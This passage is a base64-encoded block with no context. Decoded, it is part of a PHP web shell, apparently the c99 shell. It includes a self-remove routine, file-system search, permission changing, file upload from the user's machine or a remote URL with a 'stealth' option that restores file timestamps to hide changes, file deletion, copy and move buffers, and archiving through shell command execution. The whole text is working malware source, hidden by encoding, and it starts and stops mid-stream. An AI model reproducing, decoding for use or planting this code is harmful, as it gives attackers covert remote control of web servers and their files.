c2VsZnJlbW92ZSIpIHsKICBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAh
PSAiIikpIHsKICAgIGlmICh1bmxpbmsoX19GSUxFX18pKSB7QG9iX2NsZWFuKCk7IGVjaG8gIlRo
YW5rcyBmb3IgdXNpbmcgIi4kc2hfbmFtZS4iISI7IGNhcHJpdjhleGl0KCk7IH0KICAgIGVsc2Ug
e2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+
Ijt9CiAgfQogIGVsc2UgewogICAgaWYgKCFlbXB0eSgkcm5kY29kZSkpIHtlY2hvICI8Yj5FcnJv
cjogaW5jb3JyZWN0IGNvbmZpcm1hdGlvbiE8L2I+Ijt9CiAgICAkcm5kID0gcmFuZCgwLDkpLnJh
bmQoMCw5KS5yYW5kKDAsOSk7CiAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48
aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPXNlbGZyZW1vdmU+PGI+U2VsZi1yZW1vdmU6
ICIuX19GSUxFX18uIiA8YnI+PGI+QXJlIHlvdSBzdXJlPzxicj5Gb3IgY29uZmlybWF0aW9uLCBl
bnRlciBcIiIuJHJuZC4iXCI8L2I+OiZuYnNwOzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXJuZGNv
ZGUgdmFsdWU9XCIiLiRybmQuIlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zdWJtaXQ+Jm5ic3A7
PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiWUVTXCI+PC9mb3JtPiI7CiAgfQp9CgppZiAoJHgg
PT0gInNlYXJjaCIpIHsKICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj4uOiAkc2hfbmFtZSBG
aWxlLVN5c3RlbSBTZWFyY2ggOi48L2Rpdj4iOwogIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRz
ZWFyY2hfaW4gPSAkZDt9CiAgaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUg
PSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30KICBpZiAoZW1wdHkoJHNlYXJjaF90
ZXh0X3d3bykpIHskc2VhcmNoX3RleHRfcmVnZXhwID0gMDt9CiAgaWYgKCFlbXB0eSgkc3VibWl0
KSkgewogICAgJGZvdW5kID0gYXJyYXkoKTsKICAgICRmb3VuZF9kID0gMDsKICAgICRmb3VuZF9m
ID0gMDsKICAgICRzZWFyY2hfaV9mID0gMDsKICAgICRzZWFyY2hfaV9kID0gMDsKICAgICRhID0g
YXJyYXkoCiAgICAgICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsCiAgICAgICAgIm5hbWVfcmVnZXhw
Ij0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwKICAgICAgICAidGV4dCI9PiRzZWFyY2hfdGV4dCwKICAg
ICAgICAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsCiAgICAgICAgInRleHRfd3dv
Ij0+JHNlYXJjaF90ZXh0X3d3bywKICAgICAgICAidGV4dF9jcyI9PiRzZWFyY2hfdGV4dF9jcywK
ICAgICAgICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90CiAgICApOwogICAgJHNlYXJjaHRp
bWUgPSBnZXRtaWNyb3RpbWUoKTsKICAgICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwk
c2VhcmNoX2luKSk7CiAgICBmb3JlYWNoKCRpbiBhcyAkdikge2NhZnNlYXJjaCgkdik7fQogICAg
JHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsKICAgIGlm
IChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICJObyBmaWxlcyBmb3VuZCEiO30KICAgIGVsc2Ug
ewogICAgICAkbHNfYXJyID0gJGZvdW5kOwogICAgICAkZGlzcF9mdWxscGF0aCA9IFRSVUU7CiAg
ICAgICR4ID0gImxzIjsKICAgIH0KICB9CiAgZWNobyAiPHRhYmxlIGNsYXNzPWNvbnRlbnRzPiIu
CiAgICAgICAiPHRyPjx0ZD48Zm9ybSBtZXRob2Q9UE9TVD4iLgogICAgICAgIjxpbnB1dCB0eXBl
PWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPXggdmFsdWU9XCIiLiRkc3BhY3QuIlwiPiIuCiAgICAgICAiRmlsZSBvciBmb2xkZXIg
TmFtZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBz
aXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1s
c3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2ti
b3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF9u
YW1lX3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gUmVndWxhciBFeHByZXNzaW9uPC90
ZD48L3RyPiIuCiAgICAgICAiPHRyPjx0ZD5Mb29rIGluIChTZXBhcmF0ZSBieSBcIjtcIik6PC90
ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJv
dW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJz
KCRzZWFyY2hfaW4pLiJcIj48L3RkPjwvdHI+Ii4KICAgICAgICI8dHI+PHRkPkEgd29yZCBvciBw
aHJhc2UgaW4gdGhlIGZpbGU6PC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9XCJzZWFyY2hfdGV4dFwi
IGNvbHM9XCI1MFwiIHJvd3M9XCI1XCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCku
IjwvdGV4dGFyZWE+PC90ZD48L3RyPiIuCiAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQg
dHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwi
ICIuKCRzZWFyY2hfdGV4dF9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBSZWd1bGFyIEV4
cHJlc3Npb24iLgogICAgICAgIiAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFy
Y2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVj
a2VkIjoiIikuIj4gV2hvbGUgd29yZHMgb25seSIuCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNo
ZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90
ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gQ2FzZSBzZW5zaXRpdmUiLgogICAgICAgIiAg
PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9ub3RcIiB2YWx1ZT1c
IjFcIiAiLigkc2VhcmNoX3RleHRfbm90ID09IDE/IiBjaGVja2VkIjoiIikuIj4gRmluZCBmaWxl
cyBOT1QgY29udGFpbmluZyB0aGUgdGV4dDwvdGQ+PC90cj4iLgogICAgICAgIjx0cj48dGQ+PC90
ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9m
b3JtPjwvdGQ+PC90cj4iLgogICAgICAgIjwvdGFibGU+IjsKICBpZiAoJHggPT0gImxzIikgewog
ICAgJGRzcGFjdCA9ICR4OwogICAgZWNobyAiU2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNl
Y3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIu
cm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMg
cGVyIHNlY29uZCkuPC9iPiIuCiAgICAgICAgICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAg
fQp9CmlmICgkeCA9PSAiY2htb2QiKSB7CiAgJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOwogIGlm
ICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4n
dCBnZXQgY3VycmVudCB2YWx1ZS4iO30KICBlbHNlIHsKICAgICRmb3JtID0gVFJVRTsKICAgIGlm
ICgkY2htb2Rfc3VibWl0KQogIHsKICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9k
X29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNo
bW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4o
JGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTow
KSwyLDgpOwogICBpZiAoY2htb2QoJGQuJGYsJG9jdGV0KSkgeyR4ID0gImxzIjsgJGZvcm0gPSBG
QUxTRTsgJGVyciA9ICIiO30KICAgZWxzZSB7JGVyciA9ICJDYW4ndCBjaG1vZCB0byAiLiRvY3Rl
dC4iLiI7fQogIH0KICBpZiAoJGZvcm0pCiAgewogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9k
ZSk7CiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Bl
cm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQs
NCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0
aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2
YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT14IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBj
ZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxp
bnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1b
InIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3gg
bmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIp
LiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZh
bHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRk
PjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3Jd
IHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxi
cj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1si
ZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVj
a2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2Vk
IjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0
IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJd
PyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1F
PWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4m
bmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9
MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+
PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1c
IlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsKICB9Cn0KfQppZiAoJHggPT0gInVw
bG9hZCIpIHsKICAkdXBsb2FkbWVzcyA9ICIiOwogICR1cGxvYWRwYXRoID0gc3RyX3JlcGxhY2Uo
IlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsKICBpZiAoZW1wdHkoJHVwbG9h
ZHBhdGgpKSB7JHVwbG9hZHBhdGggPSAkZDt9CiAgZWxzZWlmIChzdWJzdHIoJHVwbG9hZHBhdGgs
LTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdXBsb2FkcGF0aCAuPSBESVJFQ1RPUllfU0VQ
QVJBVE9SO30KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7CiAgICBnbG9iYWwgJF9GSUxFUzsKICAg
ICR1cGxvYWRmaWxlID0gJF9GSUxFU1sidXBsb2FkZmlsZSJdOwogICAgaWYgKCFlbXB0eSgkdXBs
b2FkZmlsZVsidG1wX25hbWUiXSkpIHsKICAgICAgaWYgKGVtcHR5KCR1cGxvYWRmaWxlbmFtZSkp
IHskZGVzdGluID0gJHVwbG9hZGZpbGVbIm5hbWUiXTt9CiAgICAgIGVsc2UgeyRkZXN0aW4gPSAk
dXNlcmZpbGVuYW1lO30KICAgICAgaWYgKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVwbG9hZGZpbGVb
InRtcF9uYW1lIl0sJHVwbG9hZHBhdGguJGRlc3RpbikpIHsKICAgICAgICAkdXBsb2FkbWVzcyAu
PSAiRXJyb3IgdXBsb2FkaW5nIGZpbGUgIi4kdXBsb2FkZmlsZVsibmFtZSJdLiIgKGNhbid0IGNv
cHkgXCIiLiR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLiJcIiB0byBcIiIuJHVwbG9hZHBhdGguJGRl
c3Rpbi4iXCIhPGJyPiI7CiAgICAgIH0KICAgICAgZWxzZSB7ICR1cGxvYWRtZXNzIC49ICJGaWxl
IHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSE8YnI+Ii4kdXBsb2FkcGF0aC4kZGVzdGluOyB9CiAgICB9
CiAgICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkgewogICAgICBpZiAoIWVtcHR5KCR1cGxv
YWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30KICAgICAgZWxzZSB7CiAg
ICAgICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOwogICAgICAgICRkZXN0aW4gPSAk
ZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOwogICAgICAgIGlmIChlbXB0eSgkZGVzdGluKSkgewog
ICAgICAgICAgJGkgPSAwOwogICAgICAgICAgJGIgPSAiIjsKICAgICAgICAgIHdoaWxlKGZpbGVf
ZXhpc3RzKCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7CiAgICAgICAgICAgIGlmICgkaSA+IDApIHsk
YiA9ICJfIi4kaTt9CiAgICAgICAgICAgICRkZXN0aW4gPSAidXBsb2FkIi4kYjsKICAgICAgICAg
ICAgJGkrKzsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KICAgICAgaWYgKCghZXJlZ2ko
Imh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwp
KSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcnJlY3Qg
VVJMITwvYj4iO30KICAgICAgZWxzZSB7CiAgICAgICAgJHN0ID0gZ2V0bWljcm90aW1lKCk7CiAg
ICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7CiAgICAgICAg
JGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOwogICAgICAgIGlmICghJGNvbnRlbnQp
IHskdXBsb2FkbWVzcyAuPSAgIkNhbid0IGRvd25sb2FkIGZpbGUhIjt9CiAgICAgICAgZWxzZSB7
CiAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRk
ZXN0aW4pO30KICAgICAgICAgICRmcCA9IGZvcGVuKCR1cGxvYWRwYXRoLiRkZXN0aW4sInciKTsK
ICAgICAgICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmls
ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9CiAgICAgICAgICBlbHNlIHsK
ICAgICAgICAgICAgZndyaXRlKCRmcCwkY29udGVudCxzdHJsZW4oJGNvbnRlbnQpKTsKICAgICAg
ICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgk
dXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9CiAgICAgICAgICAgICR1cGxv
YWRtZXNzIC49ICJGaWxlIHNhdmVkIGZyb20gIi4kdXBsb2FkdXJsLiIgISI7CiAgICAgICAgICB9
CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgICBlbHNlIHsgZWNobyAiTm8gZmlsZSB0byB1cGxv
YWQhIjsgfQogIH0KICBpZiAoJG1pbmlmb3JtKSB7CiAgICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNz
LiI8L2I+IjsKICAgICR4ID0gImxzIjsKICB9CiAgZWxzZSB7CiAgICBlY2hvICI8dGFibGU+PHRy
Pjx0ZCBjb2xzcGFuPTIgY2xhc3M9YmFyaGVhZGVyPiIuCiAgICAgICAgICIuOiBGaWxlIFVwbG9h
ZCA6LjwvdGQ+Ii4KICAgICAgICAgIjx0ZCBjb2xzcGFuPTI+Ii4kdXBsb2FkbWVzcy4iPC90ZD48
L3RyPiIuCiAgICAgICAgICI8dHI+PHRkPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1k
YXRhXCIgYWN0aW9uPVwiIi4kc3VybC4ieD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1l
dGhvZD1QT1NUPiIuCiAgICAgICAgICJGcm9tIFlvdXIgQ29tcHV0ZXI6PC90ZD48dGQ+PGlucHV0
IG5hbWU9XCJ1cGxvYWRmaWxlXCIgdHlwZT1cImZpbGVcIj48L3RkPjwvdHI+Ii4KICAgICAgICAg
Ijx0cj48dGQ+RnJvbSBVUkw6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBl
PVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXpl
PVwiNzBcIj48L3RkPjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+VGFyZ2V0IERpcmVjdG9yeTo8
L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIu
JGRpc3BkLiJcIj48L3RkPjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+VGFyZ2V0IEZpbGUgTmFt
ZTo8L3RkPjx0ZD48aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1PjwvdGQ+PC90cj4i
LgogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVw
bG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiBDb252ZXJ0IGZpbGUgbmFtZSB0byBsb3dlcmNh
c2U8L3RkPjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3Vi
bWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+Ii4KICAgICAgICAgIjwvZm9ybT48L3Rk
PjwvdHI+PC90YWJsZT4iOwogIH0KfQppZiAoJHggPT0gImRlbGV0ZSIpIHsKICAkZGVsZXJyID0g
IiI7CiAgZm9yZWFjaCAoJGFjdGJveCBhcyAkdikgewogICAgJHJlc3VsdCA9IEZBTFNFOwogICAg
JHJlc3VsdCA9IGZzX3Jtb2JqKCR2KTsKICAgIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIkNh
bid0IGRlbGV0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiI8YnI+Ijt9CiAgfQogIGlmICghZW1w
dHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRl
bGVycjt9CiAgJHggPSAibHMiOwp9CmlmICghJHVzZWZzYnVmZikgewogIGlmICgoJHggPT0gInBh
c3RlIikgb3IgKCR4ID09ICJjb3B5Iikgb3IgKCR4ID09ICJjdXQiKSBvciAoJHggPT0gInVuc2Vs
ZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZmZXIgaXMgZGlzYWJsZWQuIEZvciBl
bmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZWZzYnVmZlwiIGFzIFRSVUUuPC9jZW50ZXI+Ijt9
Cn0KZWxzZSB7CiAgaWYgKCR4ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29w
eSJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjYV9zZXNzX3B1
dCgkc2Vzc19kYXRhKTsgJHggPSAibHMiOyB9CiAgZWxzZWlmICgkeCA9PSAiY3V0IikgeyRzZXNz
X2RhdGFbImN1dCJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY3V0Il0sJGFjdGJveCk7IGNh
X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkeCA9ICJscyI7fQogIGVsc2VpZiAoJHggPT0gInVuc2Vs
ZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJy
YXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNo
ICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkp
IHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEp
OyAkeCA9ICJscyI7fQogIGlmICgkYWN0ZW1wdHlidWZmKSB7JHNlc3NfZGF0YVsiY29weSJdID0g
JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpOyBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9CiAg
ZWxzZWlmICgkYWN0cGFzdGVidWZmKSB7CiAgICAkcHN0ZXJyID0gIiI7CiAgICBmb3JlYWNoKCRz
ZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHsKICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYp
OwogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5
ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQo
JHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQogICAgfQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJj
dXQiXSBhcyAkaz0+JHYpIHsKICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICAgICBpZiAo
IWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAi
LiR0by4iITxicj4iO30KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICAgIH0K
ICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogICAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2Vj
aG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQogICAgJHggPSAi
bHMiOwogIH0KICBlbHNlaWYgKCRhY3RhcmNidWZmKSB7CiAgICAkYXJjZXJyID0gIiI7CiAgICBp
ZiAoc3Vic3RyKCRhY3RhcmNidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIu
dGFyLmd6Ijt9CiAgICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30KICAgIGlmICgkZXh0ID09ICIu
dGFyLmd6IikgeyRjbWRsaW5lID0gInRhciBjZnp2Ijt9CiAgICAkY21kbGluZSAuPSAiICIuJGFj
dGFyY2J1ZmZfcGF0aDsKICAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29w
eSJdLCRzZXNzX2RhdGFbImN1dCJdKTsKICAgIGZvcmVhY2goJG9iamVjdHMgYXMgJHYpIHsKICAg
ICAgJHYgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHYpOwogICAgICBp
ZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9CiAg
ICAgIGlmIChpc19kaXIoJHYpKSB7CiAgICAgICAgaWYgKHN1YnN0cigkdiwtMSkgIT0gRElSRUNU
T1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICAgICAgICR2IC49
ICIqIjsKICAgICAgfQogICAgICAkY21kbGluZSAuPSAiICIuJHY7CiAgICB9CiAgICAkdG1wID0g
cmVhbHBhdGgoIi4iKTsKICAgIGNoZGlyKCRkKTsKICAgICRyZXQgPSBteXNoZWxsZXhlYygkY21k
bGluZSk7CiAgICBjaGRpcigkdG1wKTsKICAgIGlmIChlbXB0eSgkcmV0KSkgeyRhcmNlcnIgLj0g
IkNhbid0IGNhbGwgYXJjaGl2YXRvciAoIi5odG1sc3BlY2lhbGNoYXJzKHN0cjJtaW5pKCRjbWRs
aW5lLDYwKSkuIikhPGJyPiI7fQogICAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRy
ZXQpOwogICAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICAgIGlmICgkY29weV91bnNldCkg
e2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge3Vuc2V0KCRzZXNzX2RhdGFb
ImNvcHkiXVska10pO319CiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikg
ewogICAgICBpZiAoaW5fYXJyYXkoJHYsJHJldCkpIHtmc19ybW9iaigkdik7fQogICAgICB1bnNl
dCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogICAgfQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0
YSk7CiAgICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNobyAiPGI+QXJjaGl2YXRpb24gZXJyb3Jz
OjwvYj48YnI+Ii4kYXJjZXJyO30KICAgICR4ID0gImxzIjsKICB9CiAgZWxzZWlmICgkYWN0cGFz
dGVidWZmKSB7CiAgICAkcHN0ZXJyID0gIiI7CiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHki
